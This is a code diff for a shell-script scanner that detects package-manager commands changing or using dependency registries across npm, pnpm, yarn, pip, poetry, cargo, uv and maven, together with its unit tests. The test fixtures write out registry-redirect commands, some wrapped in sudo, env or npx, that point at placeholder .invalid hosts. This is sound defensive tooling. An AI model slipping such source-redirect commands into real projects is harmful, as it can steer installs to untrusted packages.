+ raw = _exact(tokens[cursor]) + if raw == b"--local": + local = True + elif raw == b"--unset": + unset = True + elif raw in {b"--list", b"-l"}: + return [], None + elif raw is not None and raw.startswith(b"-"): + return [], tokens[cursor].span + else: + config_operands.append(tokens[cursor]) + cursor += 1 + key = _exact(config_operands[0]) if config_operands else None + if key is None or not key.startswith(b"repositories."): + return [], None + key_parts = key.split(b".") + if len(key_parts) not in {2, 3} or (len(key_parts) == 3 and key_parts[2] != b"url"): + return [], None + if unset and len(config_operands) == 1: + return [], None + if not unset and len(config_operands) == 2: + return [ + _candidate( + DependencyEcosystem.POETRY, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + DependencySourceScope.PROJECT if local else DependencySourceScope.REPOSITORY, + config_operands[1], + ) + ], None + return [], config_operands[-1].span + return [], None + + +def _cargo( + tokens: tuple[_Token, ...], +) -> tuple[list[DependencyCommandCandidate], SourceSpan | None]: + if issue_span := _unknown_option_beside_source( + tokens, + start=1, + source_options=frozenset({b"--config"}), + no_operand_options=frozenset( + {b"-v", b"--verbose", b"-q", b"--quiet", b"--locked", b"--offline", b"--frozen"} + ), + operand_options=frozenset( + { + b"--color", + b"--manifest-path", + b"--target-dir", + b"--target", + b"-j", + b"--jobs", + b"--features", + b"-p", + b"--package", + } + ), + ): + return [], issue_span + candidates: list[DependencyCommandCandidate] = [] + cursor = 1 + end = _terminator_index(tokens, cursor) + while cursor < end: + value, next_cursor = _option_value(tokens, cursor, (b"--config",)) + if next_cursor == cursor: + cursor += 1 + continue + if value is None or value.value.state is not StaticValueState.EXACT: + return [], tokens[cursor].span + raw = cast(bytes, value.value.exact_bytes) + key, separator, destination = raw.partition(b"=") + if separator and key.startswith(b"registries.") and key.endswith(b".index"): + if ( + len(destination) >= 2 + and destination[:1] == destination[-1:] + and destination[:1] in {b"'", b'"'} + ): + destination = destination[1:-1] + candidates.append( + _candidate( + DependencyEcosystem.CARGO, + DependencySourceSurface.INVOCATION, + DependencySourceOperation.USE, + DependencySourceScope.REGISTRY, + _Token(StaticValue.exact(destination), value.span), + ) + ) + cursor = next_cursor + return candidates, None + + +def _uv(tokens: tuple[_Token, ...]) -> tuple[list[DependencyCommandCandidate], SourceSpan | None]: + cursor = 1 + if cursor < len(tokens) and _exact(tokens[cursor]) in { + b"help", + b"--help", + b"--version", + b"-h", + b"-V", + }: + return [], None + if cursor < len(tokens) and _exact(tokens[cursor]) == b"index": + cursor += 1 + action = _exact(tokens[cursor]) if cursor < len(tokens) else None + if action == b"add" and cursor + 2 < len(tokens): + return [ + _candidate( + DependencyEcosystem.UV, + DependencySourceSurface.COMMAND, + DependencySourceOperation.ADD, + DependencySourceScope.SOURCE, + tokens[cursor + 2], + ) + ], None + return [], None + if issue_span := _unknown_option_beside_source( + tokens, + start=cursor, + source_options=frozenset( + {b"--index-url", b"--default-index", b"--index", b"--extra-index-url"} + ), + no_operand_options=frozenset( + { + b"-q", + b"--quiet", + b"-v", + b"--verbose", + b"--offline", + b"--no-cache", + b"--refresh", + b"--native-tls", + b"--no-progress", + } + ), + operand_options=frozenset( + { + b"--python", + b"--project", + b"--directory", + b"--config-file", + b"--keyring-provider", + b"--resolution", + b"--prerelease", + } + ), + ): + return [], issue_span + candidates: list[DependencyCommandCandidate] = [] + end = _terminator_index(tokens, cursor) + while cursor < end: + option = _exact(tokens[cursor]) + value, next_cursor = _option_value( + tokens, + cursor, + (b"--index-url", b"--default-index", b"--index", b"--extra-index-url"), + ) + if next_cursor != cursor: + if value is None: + return [], tokens[cursor].span + if option == b"--index" or (option or b"").startswith(b"--index="): + value = _uv_index_destination(value) + candidates.append( + _candidate( + DependencyEcosystem.UV, + DependencySourceSurface.INVOCATION, + DependencySourceOperation.USE, + DependencySourceScope.INVOCATION, + value, + ) + ) + cursor = next_cursor + else: + cursor += 1 + return candidates, None + + +def _maven( + tokens: tuple[_Token, ...], +) -> tuple[tuple[MavenSettingsReference, ...], SourceSpan | None]: + terminator = _terminator_index(tokens, 1) + visible = tokens[1:terminator] + settings_positions = [ + index + for index, token in enumerate(visible, start=1) + if (_exact(token) or b"") in {b"-s", b"--settings"} + or (_exact(token) or b"").startswith((b"-s", b"--settings=")) + ] + if not settings_positions: + return (), None + first_position = settings_positions[0] + first_raw = _exact(tokens[first_position]) + if ( + first_position != 1 + or len(settings_positions) != 1 + or first_raw not in {b"-s", b"--settings"} + or first_position + 1 >= terminator + ): + return (), tokens[first_position].span + path = tokens[first_position + 1] + if path.value.state is not StaticValueState.EXACT or not cast(bytes, path.value.exact_bytes): + return (), path.span + known_no_operand = { + b"-q", + b"--quiet", + b"-B", + b"--batch-mode", + b"-U", + b"--update-snapshots", + b"-o", + b"--offline", + b"-e", + b"--errors", + b"-X", + b"--debug", + b"-N", + b"--non-recursive", + b"-V", + b"--show-version", + } + known_operand = { + b"-f", + b"--file", + b"-P", + b"--activate-profiles", + b"-pl", + b"--projects", + b"-T", + b"--threads", + } + cursor = first_position + 2 + while cursor < terminator: + raw = _exact(tokens[cursor]) + if raw is None or not raw.startswith(b"-"): + cursor += 1 + continue + if raw in known_no_operand or raw in {b"-am", b"-amd"} or raw.startswith(b"-D"): + cursor += 1 + continue + if raw in known_operand: + if cursor + 1 >= terminator: + return (), tokens[cursor].span + cursor += 2 + continue + if any(raw.startswith(option + b"=") for option in known_operand): + cursor += 1 + continue + return (), tokens[cursor].span + return (MavenSettingsReference(path.value, path.span),), None + + +def adapt_command(site: CommandSite, *, budget: DependencyWorkBudget) -> AdapterResult: + """Adapt one public typed command site through fixed wrapper/manager grammars.""" + if not isinstance(site, CommandSite): + raise ValueError("site must be a CommandSite") + if not isinstance(budget, DependencyWorkBudget): + raise ValueError("budget must be a DependencyWorkBudget") + if site.producer is CommandProducerReachability.INERT: + return AdapterResult() + first = ( + cast(bytes, site.argv[0].exact_bytes) + if site.argv[0].state is StaticValueState.EXACT + else None + ) + relevant = bool(site.exported_assignments) or ( + first is not None and _executable(first) in {*_MANAGERS, *_WRAPPERS} + ) + if site.resolution is CommandResolutionKind.FUNCTION: + return AdapterResult() + if relevant and ( + site.resolution is CommandResolutionKind.AMBIGUOUS + or site.producer is CommandProducerReachability.AMBIGUOUS + ): + return AdapterResult(issues=_issues(_issue(site, site.span, budget))) + + candidates, environment_issue_span = _environment_candidates( + site.exported_assignments, + manager=None, + ) + if environment_issue_span is not None: + return AdapterResult(issues=_issues(_issue(site, environment_issue_span, budget))) + normalized = _normalize_command(site) + if normalized.inert: + return AdapterResult(candidates=tuple(candidates)) + if normalized.issue_span is not None: + return AdapterResult( + candidates=tuple(candidates), + issues=_issues(_issue(site, normalized.issue_span, budget)), + ) + if normalized.manager is None: + return AdapterResult(candidates=tuple(candidates)) + + ecosystem = ( + DependencyEcosystem.MAVEN + if normalized.manager == b"mvn" + else DependencyEcosystem(normalized.manager.decode("ascii")) + ) + environment_candidates, environment_issue_span = _environment_candidates( + normalized.environment, + manager=ecosystem, + ) + if environment_issue_span is not None: + return AdapterResult(issues=_issues(_issue(site, environment_issue_span, budget))) + candidates.extend(environment_candidates) + parsed: list[DependencyCommandCandidate] + issue_span: SourceSpan | None + maven_settings: tuple[MavenSettingsReference, ...] = () + if normalized.manager in {b"npm", b"pnpm"}: + parsed, issue_span = _npm_family(normalized.tokens, ecosystem) + elif normalized.manager == b"yarn": + parsed, issue_span = _yarn(normalized.tokens) + elif normalized.manager == b"pip": + parsed, issue_span = _pip(normalized.tokens) + elif normalized.manager == b"poetry": + parsed, issue_span = _poetry(normalized.tokens) + elif normalized.manager == b"cargo": + parsed, issue_span = _cargo(normalized.tokens) + elif normalized.manager == b"uv": + parsed, issue_span = _uv(normalized.tokens) + else: + parsed = [] + maven_settings, issue_span = _maven(normalized.tokens) + if issue_span is not None: + return AdapterResult( + candidates=tuple(candidates), + issues=_issues(_issue(site, issue_span, budget)), + ) + candidates.extend(parsed) + return AdapterResult(candidates=tuple(candidates), maven_settings=maven_settings) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 3fb23e7a..a0826587 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -54,6 +54,7 @@ class DependencyEcosystem(StrEnum): NPM = "npm" YARN = "yarn" + PNPM = "pnpm" PIP = "pip" POETRY = "poetry" PDM = "pdm" @@ -194,6 +195,22 @@ class StaticValueState(StrEnum): UNBOUND = "unbound" +class CommandResolutionKind(StrEnum): + """Whether a command word is proven external or function-resolved.""" + + EXTERNAL = "external" + FUNCTION = "function" + AMBIGUOUS = "ambiguous" + + +class CommandProducerReachability(StrEnum): + """Whether the command's enclosing producer is proven to execute.""" + + ACTIVE = "active" + INERT = "inert" + AMBIGUOUS = "ambiguous" + + class ShellIssueReason(StrEnum): """Content-free reasons for localized shell-analysis incompleteness.""" @@ -557,6 +574,11 @@ class CommandSite: provenance: SiteProvenance span: SourceSpan argv: tuple[StaticValue, ...] + argument_spans: tuple[SourceSpan, ...] = () + resolution: CommandResolutionKind = CommandResolutionKind.EXTERNAL + producer: CommandProducerReachability = CommandProducerReachability.ACTIVE + prefix_assignments: tuple[AssignmentSite, ...] = () + exported_assignments: tuple[AssignmentSite, ...] = () def __post_init__(self) -> None: _validate_site(self.unit_id, self.provenance, self.span) @@ -564,6 +586,31 @@ def __post_init__(self) -> None: if not argv or not all(isinstance(value, StaticValue) for value in argv): raise ValueError("argv must contain at least one StaticValue") object.__setattr__(self, "argv", argv) + argument_spans = tuple(self.argument_spans) or tuple(self.span for _ in argv) + if len(argument_spans) != len(argv) or not all( + isinstance(argument_span, SourceSpan) for argument_span in argument_spans + ): + raise ValueError("argument_spans must align one-to-one with argv") + if any(argument_span.path != self.span.path for argument_span in argument_spans): + raise ValueError("argument_spans must share the command path") + if not isinstance(self.resolution, CommandResolutionKind): + raise ValueError("resolution must be code-owned") + if not isinstance(self.producer, CommandProducerReachability): + raise ValueError("producer must be code-owned") + prefix_assignments = tuple(self.prefix_assignments) + exported_assignments = tuple(self.exported_assignments) + if not all(isinstance(site, AssignmentSite) for site in prefix_assignments): + raise ValueError("prefix_assignments must contain AssignmentSite values") + if not all(isinstance(site, AssignmentSite) for site in exported_assignments): + raise ValueError("exported_assignments must contain AssignmentSite values") + if any( + site.unit_id != self.unit_id or site.span.path != self.span.path + for site in (*prefix_assignments, *exported_assignments) + ): + raise ValueError("command assignments must share the command unit and path") + object.__setattr__(self, "argument_spans", argument_spans) + object.__setattr__(self, "prefix_assignments", prefix_assignments) + object.__setattr__(self, "exported_assignments", exported_assignments) @dataclass(frozen=True, slots=True) diff --git a/src/skillspector/shell_frontend.py b/src/skillspector/shell_frontend.py index 257344a5..199eda00 100644 --- a/src/skillspector/shell_frontend.py +++ b/src/skillspector/shell_frontend.py @@ -27,6 +27,8 @@ MAX_DEPENDENCY_SHELL_VALUE_BYTES_PER_FILE, MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE, AssignmentSite, + CommandProducerReachability, + CommandResolutionKind, CommandSite, DependencyFileBudget, DependencyWorkBudget, @@ -5682,7 +5684,15 @@ def enter_control_scope( break command = replace( command, - site=replace(command.site, argv=argv), + site=replace( + command.site, + argv=argv, + argument_spans=tuple(argument.span for argument in arguments), + resolution=CommandResolutionKind(resolution.kind.value), + prefix_assignments=tuple( + assignments[index].site for index in prefix_assignment_indices + ), + ), arguments=tuple(arguments), redirects=redirects, prefix_assignments=tuple( @@ -5774,6 +5784,7 @@ def enter_control_scope( assignments[assignment_index] = assignment modeled_assignment_indices.add(assignment_index) resolved_declarations.append((assignment_index, assignment)) + exported_assignments: list[AssignmentSite] = [] for _assignment_index, assignment in resolved_declarations: previous = self._lookup_binding(frame, assignment.site.name) export_state = ( @@ -5796,6 +5807,11 @@ def enter_control_scope( draft=draft, updates=updates, ) + if ( + assignment.declaration_keyword == b"export" + and not unsupported_declaration_semantics + ): + exported_assignments.append(assignment.site) if persistent_declaration_mode: persistent_names = { @@ -5858,6 +5874,15 @@ def enter_control_scope( draft=draft, updates=updates, ) + exported_assignments.append( + AssignmentSite( + unit_id=command.site.unit_id, + provenance=command.site.provenance, + span=export_operand_arguments[0].span, + name=export_name, + value=previous.value, + ) + ) elif ( post_assignment_no_export and export_operands[1].state is StaticValueState.EXACT @@ -5918,6 +5943,16 @@ def enter_control_scope( updates=updates, ) + if exported_assignments: + command = replace( + command, + site=replace( + command.site, + exported_assignments=tuple(exported_assignments), + ), + ) + commands[command_index] = command + effect_function_ids: tuple[int, ...] = () if ( command.resolution.kind is _CommandResolutionKind.FUNCTION @@ -6387,6 +6422,7 @@ def lower(self) -> _ShellProgramIR: provenance=self.unit.provenance, span=command_span, argv=tuple(argument.value for argument in ordered_arguments), + argument_spans=tuple(argument.span for argument in ordered_arguments), ) prefix_sites = tuple(prefix_sites_by_command.get(command_draft.node.start_byte, ())) commands.append( @@ -6971,6 +7007,146 @@ def resolve_function_call(command: _CommandIR) -> FunctionKey | None: return retained +def _annotate_command_producer_reachability( + root_program: _ShellProgramIR, + nested_programs: tuple[_NestedProgramIR, ...], + commands: tuple[_CommandIR, ...], +) -> tuple[_CommandIR, ...]: + """Attach conservative function-producer reachability to public command sites.""" + + type FunctionKey = tuple[str, int] + functions: dict[FunctionKey, _FunctionContext] = {} + for program in (root_program, *(nested.program for nested in nested_programs)): + for function in program.functions: + key = (program.program_id, function.function_id) + if key in functions: + functions.pop(key, None) + else: + functions[key] = function + names: dict[FunctionKey, bytes] = { + key: cast(bytes, function.name.exact_bytes) + for key, function in functions.items() + if function.name.state is StaticValueState.EXACT + } + by_name: dict[bytes, set[FunctionKey]] = {} + for key, name in names.items(): + by_name.setdefault(name, set()).add(key) + + def owner(command: _CommandIR) -> FunctionKey | None: + if command.function_id is not None: + return (command.program_id, command.function_id) + if ( + command.containing_function_program_id is not None + and command.containing_function_id is not None + ): + return ( + command.containing_function_program_id, + command.containing_function_id, + ) + return None + + def command_name(command: _CommandIR) -> bytes | None: + value = command.site.argv[0] + return cast(bytes, value.exact_bytes) if value.state is StaticValueState.EXACT else None + + def exact_target(command: _CommandIR) -> FunctionKey | None: + function_id = command.resolution.function_id + if function_id is None: + return None + local = (command.program_id, function_id) + if local in functions: + return local + name = command_name(command) + candidates = ( + {key for key in by_name.get(name, ()) if key[1] == function_id} + if name is not None + else set() + ) + return next(iter(candidates)) if len(candidates) == 1 else None + + definite: dict[FunctionKey | None, set[FunctionKey]] = {} + possible_names: dict[FunctionKey | None, set[bytes]] = {} + dynamic_possible: set[FunctionKey | None] = set() + for command in commands: + caller = owner(command) + if command.resolution.kind is _CommandResolutionKind.FUNCTION: + target = exact_target(command) + if target is not None: + definite.setdefault(caller, set()).add(target) + else: + call_name = command_name(command) + if call_name is None: + dynamic_possible.add(caller) + else: + possible_names.setdefault(caller, set()).add(call_name) + elif command.resolution.kind is _CommandResolutionKind.AMBIGUOUS: + call_name = command_name(command) + if call_name is None: + dynamic_possible.add(caller) + else: + possible_names.setdefault(caller, set()).add(call_name) + + active: set[FunctionKey] = set(definite.get(None, ())) + ambiguous: set[FunctionKey] = set() + active_queue = list(active) + ambiguous_queue: list[FunctionKey] = [] + expanded_possible_names: set[bytes] = set() + dynamic_expanded = False + + def mark_ambiguous(target: FunctionKey) -> None: + if target not in active and target not in ambiguous: + ambiguous.add(target) + ambiguous_queue.append(target) + + def expand_possible_targets(caller: FunctionKey | None) -> None: + nonlocal dynamic_expanded + for call_name in possible_names.get(caller, ()): + if call_name in expanded_possible_names: + continue + expanded_possible_names.add(call_name) + for target in by_name.get(call_name, ()): + mark_ambiguous(target) + if caller in dynamic_possible and not dynamic_expanded: + dynamic_expanded = True + for target in functions: + mark_ambiguous(target) + + expand_possible_targets(None) + active_cursor = 0 + ambiguous_cursor = 0 + while active_cursor < len(active_queue) or ambiguous_cursor < len(ambiguous_queue): + while active_cursor < len(active_queue): + caller = active_queue[active_cursor] + active_cursor += 1 + for target in definite.get(caller, ()): + if target not in active: + active.add(target) + ambiguous.discard(target) + active_queue.append(target) + expand_possible_targets(caller) + while ambiguous_cursor < len(ambiguous_queue): + caller = ambiguous_queue[ambiguous_cursor] + ambiguous_cursor += 1 + if caller in active: + continue + for target in definite.get(caller, ()): + mark_ambiguous(target) + expand_possible_targets(caller) + + annotated: list[_CommandIR] = [] + for command in commands: + command_owner = owner(command) + producer = ( + CommandProducerReachability.ACTIVE + if command_owner is None or command_owner in active + else CommandProducerReachability.AMBIGUOUS + if command_owner in ambiguous + else CommandProducerReachability.INERT + ) + annotated.append(replace(command, site=replace(command.site, producer=producer))) + return tuple(annotated) + + def _run_program_queue( root_lowerer: _ShellLowerer, root_program: _ShellProgramIR, @@ -7336,6 +7512,11 @@ def _run_program_queue( ordered_commands = tuple( replace(command, order=index) for index, command in enumerate(execution_commands) ) + ordered_commands = _annotate_command_producer_reachability( + root_modeled.program, + ordered_nested_programs, + ordered_commands, + ) generated_configs = _retain_typed_function_generated_configs( root_lowerer, root_modeled.program, diff --git a/tests/nodes/analyzers/test_sc10_gap_corpus.py b/tests/nodes/analyzers/test_sc10_gap_corpus.py index 135fc6c3..f9e0a630 100644 --- a/tests/nodes/analyzers/test_sc10_gap_corpus.py +++ b/tests/nodes/analyzers/test_sc10_gap_corpus.py @@ -87,7 +87,6 @@ TRANSITIONED_LIMITATION_ID = "markdown-nonstandard-filename-limitation" PUBLIC_CONTROL_ID = re.compile(r"control-(?:[a-z][a-z0-9-]*|executable-[0-9a-f]{12})\Z") PUBLIC_IMPORTED_CONTROL_ID = re.compile(r"control-executable-[0-9a-f]{12}\Z") -FUTURE_ECOSYSTEM_VALUES = {"pnpm"} def _load_documents() -> tuple[dict[str, Any], dict[str, Any]]: @@ -247,37 +246,25 @@ def test_corpus_schema_and_self_checks() -> None: assert expected["end_line"] > expected["start_line"] assert expected["end_line"] <= physical_line_count ecosystem = expected["ecosystem"] - assert ecosystem in {item.value for item in DependencyEcosystem} | ( - FUTURE_ECOSYSTEM_VALUES - ) - if ecosystem in FUTURE_ECOSYSTEM_VALUES: - # Task 7 adds the fixed PNPM enum. Until then, validate every - # other field against the live PR-1 enums without pretending - # that GENERIC represents pnpm. - assert ecosystem == "pnpm" - DependencySourceSurface(expected["surface"]) - DependencySourceOperation(expected["operation"]) - DependencySourceScope(expected["scope"]) - DestinationStatus(expected["destination_status"]) - else: - projected = finding_from_source_change( - SourceChange( - ecosystem=DependencyEcosystem(ecosystem), - surface=DependencySourceSurface(expected["surface"]), - operation=DependencySourceOperation(expected["operation"]), - scope=DependencySourceScope(expected["scope"]), - destination=expected["destination"], - destination_status=DestinationStatus(expected["destination_status"]), - span=SourceSpan( - path=path, - start_byte=0, - end_byte=0, - start_line=expected["start_line"], - end_line=expected.get("end_line", expected["start_line"]), - ), - ) + assert ecosystem in {item.value for item in DependencyEcosystem} + projected = finding_from_source_change( + SourceChange( + ecosystem=DependencyEcosystem(ecosystem), + surface=DependencySourceSurface(expected["surface"]), + operation=DependencySourceOperation(expected["operation"]), + scope=DependencySourceScope(expected["scope"]), + destination=expected["destination"], + destination_status=DestinationStatus(expected["destination_status"]), + span=SourceSpan( + path=path, + start_byte=0, + end_byte=0, + start_line=expected["start_line"], + end_line=expected.get("end_line", expected["start_line"]), + ), ) - assert _normalized_finding(projected) == expected + ) + assert _normalized_finding(projected) == expected if expected["destination_status"] == "resolved": parsed_destination = urlsplit(expected["destination"]) assert parsed_destination.username is None diff --git a/tests/unit/test_dependency_command_adapters.py b/tests/unit/test_dependency_command_adapters.py index 4b90d502..4571f358 100644 --- a/tests/unit/test_dependency_command_adapters.py +++ b/tests/unit/test_dependency_command_adapters.py @@ -1,10 +1,11 @@ # SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. # SPDX-License-Identifier: Apache-2.0 -"""Focused end-to-end skeletons for the planned dependency-command adapters.""" +"""Direct contracts plus end-to-end red gates for dependency-command adapters.""" from __future__ import annotations +import dataclasses import json import os from collections import Counter @@ -14,7 +15,25 @@ import pytest from skillspector.artifacts import classify_artifact -from skillspector.dependency_source_types import DependencySourceSpan, DependencyWorkBudget +from skillspector.dependency_command_adapters import adapt_command +from skillspector.dependency_source_types import ( + MAX_DEPENDENCY_SHELL_LOCALIZED_ISSUES, + AssignmentSite, + CommandProducerReachability, + CommandResolutionKind, + CommandSite, + DependencyEcosystem, + DependencySourceOperation, + DependencySourceScope, + DependencySourceSpan, + DependencySourceSurface, + DependencyWorkBudget, + DependencyWorkResource, + ShellIssueReason, + SiteProvenance, + SourceSpan, + StaticValue, +) from skillspector.dependency_sources import analyze_dependency_sources from skillspector.nested_artifacts import is_executable_content @@ -97,3 +116,896 @@ def test_dependency_command_adapter_contracts(row: dict[str, Any]) -> None: ) assert analysis.limitations == () assert row["status"] == "fixed", "unimplemented adapter contracts remain explicit red gates" + + +UNIT_ID = "0" * 32 + + +def _span(index: int = 0) -> SourceSpan: + return SourceSpan("scripts/setup.sh", index, index + 1, 1, 1) + + +def _assignment(name: str, value: bytes | None) -> AssignmentSite: + return AssignmentSite( + UNIT_ID, + SiteProvenance.FILE_SUFFIX, + _span(), + name, + StaticValue.exact(value) if value is not None else StaticValue.unknown(), + ) + + +def _site( + argv: list[bytes | None], + *, + prefix: tuple[AssignmentSite, ...] = (), + exported: tuple[AssignmentSite, ...] = (), + resolution: CommandResolutionKind = CommandResolutionKind.EXTERNAL, + producer: CommandProducerReachability = CommandProducerReachability.ACTIVE, +) -> CommandSite: + values = tuple( + StaticValue.exact(value) if value is not None else StaticValue.unknown() for value in argv + ) + return CommandSite( + UNIT_ID, + SiteProvenance.FILE_SUFFIX, + SourceSpan("scripts/setup.sh", 0, max(1, len(values)), 1, 1), + values, + argument_spans=tuple(_span(index) for index in range(len(values))), + prefix_assignments=prefix, + exported_assignments=exported, + resolution=resolution, + producer=producer, + ) + + +def _projection(result: Any) -> list[tuple[object, ...]]: + return [ + ( + candidate.ecosystem, + candidate.surface, + candidate.operation, + candidate.scope, + candidate.destination.state.value, + candidate.destination.exact_bytes, + ) + for candidate in result.candidates + ] + + +@pytest.mark.parametrize( + ("argv", "semantic"), + [ + ( + [b"npm", b"config", b"set", b"--location=project", b"registry", b"https://npm.invalid"], + ( + DependencyEcosystem.NPM, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + DependencySourceScope.PROJECT, + b"https://npm.invalid", + ), + ), + ( + [ + b"yarn", + b"config", + b"set", + b"-H", + b"npmScopes.team.npmRegistryServer", + b"https://yarn.invalid", + ], + ( + DependencyEcosystem.YARN, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + DependencySourceScope.SCOPED, + b"https://yarn.invalid", + ), + ), + ( + [b"pnpm", b"config", b"set", b"registry", b"https://pnpm.invalid"], + ( + DependencyEcosystem.PNPM, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + DependencySourceScope.GLOBAL, + b"https://pnpm.invalid", + ), + ), + ( + [ + b"pip3.12", + b"--isolated", + b"config", + b"--user", + b"set", + b"global.index-url", + b"https://pip.invalid/simple", + ], + ( + DependencyEcosystem.PIP, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + DependencySourceScope.GLOBAL, + b"https://pip.invalid/simple", + ), + ), + ( + [ + b"poetry", + b"-C", + b".", + b"source", + b"add", + b"--priority", + b"explicit", + b"private", + b"https://poetry.invalid/simple", + ], + ( + DependencyEcosystem.POETRY, + DependencySourceSurface.COMMAND, + DependencySourceOperation.ADD, + DependencySourceScope.SOURCE, + b"https://poetry.invalid/simple", + ), + ), + ( + [ + b"cargo", + b"--config", + b'registries.private.index="https://cargo.invalid/index"', + b"build", + ], + ( + DependencyEcosystem.CARGO, + DependencySourceSurface.INVOCATION, + DependencySourceOperation.USE, + DependencySourceScope.REGISTRY, + b"https://cargo.invalid/index", + ), + ), + ( + [b"uv", b"pip", b"install", b"--index-url", b"https://uv.invalid/simple", b"thing"], + ( + DependencyEcosystem.UV, + DependencySourceSurface.INVOCATION, + DependencySourceOperation.USE, + DependencySourceScope.INVOCATION, + b"https://uv.invalid/simple", + ), + ), + ( + [b"python3", b"-m", b"pip", b"install", b"-ihttps://python.invalid/simple", b"thing"], + ( + DependencyEcosystem.PIP, + DependencySourceSurface.INVOCATION, + DependencySourceOperation.USE, + DependencySourceScope.INVOCATION, + b"https://python.invalid/simple", + ), + ), + ], +) +def test_direct_manager_grammars_are_typed_and_bounded( + argv: list[bytes], semantic: tuple[object, ...] +) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert _projection(result) == [(*semantic[:-1], "exact", semantic[-1])] + assert result.issues == () + + +def test_npm_multi_pair_and_scoped_keys_preserve_each_destination() -> None: + result = adapt_command( + _site( + [ + b"npm", + b"c", + b"set", + b"registry", + b"https://one.invalid", + b"@team:registry", + b"https://two.invalid", + ] + ), + budget=DependencyWorkBudget(), + ) + + assert [candidate.scope for candidate in result.candidates] == [ + DependencySourceScope.GLOBAL, + DependencySourceScope.SCOPED, + ] + assert [candidate.destination.exact_bytes for candidate in result.candidates] == [ + b"https://one.invalid", + b"https://two.invalid", + ] + assert result.candidates[0].span.start_line == result.candidates[1].span.start_line == 1 + assert result.candidates[0].span.start_byte != result.candidates[1].span.start_byte + + +def test_npm_config_set_accepts_key_equals_value_multi_pair_form() -> None: + result = adapt_command( + _site( + [ + b"npm", + b"config", + b"set", + b"registry=https://one.invalid", + b"@team:registry=https://two.invalid", + ] + ), + budget=DependencyWorkBudget(), + ) + + assert [candidate.scope for candidate in result.candidates] == [ + DependencySourceScope.GLOBAL, + DependencySourceScope.SCOPED, + ] + assert [candidate.destination.exact_bytes for candidate in result.candidates] == [ + b"https://one.invalid", + b"https://two.invalid", + ] + + +@pytest.mark.parametrize( + "argv", + [ + [b"/usr/local/bin/npm", b"config", b"set", b"registry", b"https://x.invalid"], + [ + b"env", + b"-u", + b"IGNORED", + b"--", + b"npm", + b"config", + b"set", + b"registry", + b"https://x.invalid", + ], + [b"sudo", b"-k", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"command", b"-p", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"exec", b"-a", b"argv0", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"nohup", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"nice", b"-n", b"4", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [ + b"timeout", + b"-k", + b"1s", + b"10s", + b"npm", + b"config", + b"set", + b"registry", + b"https://x.invalid", + ], + [b"setsid", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"stdbuf", b"-o", b"L", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"corepack", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"npx", b"--yes", b"pnpm", b"config", b"set", b"registry", b"https://x.invalid"], + ], +) +def test_supported_wrapper_options_preserve_one_literal_manager_sink(argv: list[bytes]) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert [candidate.destination.exact_bytes for candidate in result.candidates] == [ + b"https://x.invalid" + ] + assert result.issues == () + + +@pytest.mark.parametrize( + "argv", + [ + [b"env", b"-S", b"npm config set registry https://x.invalid"], + [b"sudo", b"--mystery", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"xargs", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"corepack", b"unknown", b"https://x.invalid"], + [b"npx", b"--mystery", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + ], +) +def test_unknown_wrapper_arity_is_one_localized_limitation(argv: list[bytes]) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == () + assert [issue.reason for issue in result.issues] == [ShellIssueReason.UNSUPPORTED_SEMANTICS] + + +@pytest.mark.parametrize( + "argv", + [ + [b"env", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"sudo", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"command", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"exec", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"nohup", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"nice", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"timeout", b"--", b"5s", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"setsid", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"stdbuf", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"corepack", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"npx", b"--", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + ], +) +def test_each_transparent_wrapper_has_an_explicit_terminator_case(argv: list[bytes]) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert len(result.candidates) == 1 + assert result.issues == () + + +@pytest.mark.parametrize( + "argv", + [ + [b"env", b"-u"], + [b"sudo", b"-u"], + [b"exec", b"-a"], + [b"nice", b"-n"], + [b"timeout", b"-k"], + [b"stdbuf", b"-o"], + [b"corepack"], + [b"npx"], + ], +) +def test_each_operand_wrapper_rejects_a_missing_operand(argv: list[bytes]) -> None: + result = adapt_command(_site(argv), budget=DependencyWorkBudget()) + + assert result.candidates == () + assert len(result.issues) == 1 + + +@pytest.mark.parametrize( + "argv", + [ + [b"env", b"--unset=", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"env", b"--chdir=", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [b"sudo", b"--user=", b"npm", b"config", b"set", b"registry", b"https://x.invalid"], + [ + b"nice", + b"--adjustment=", + 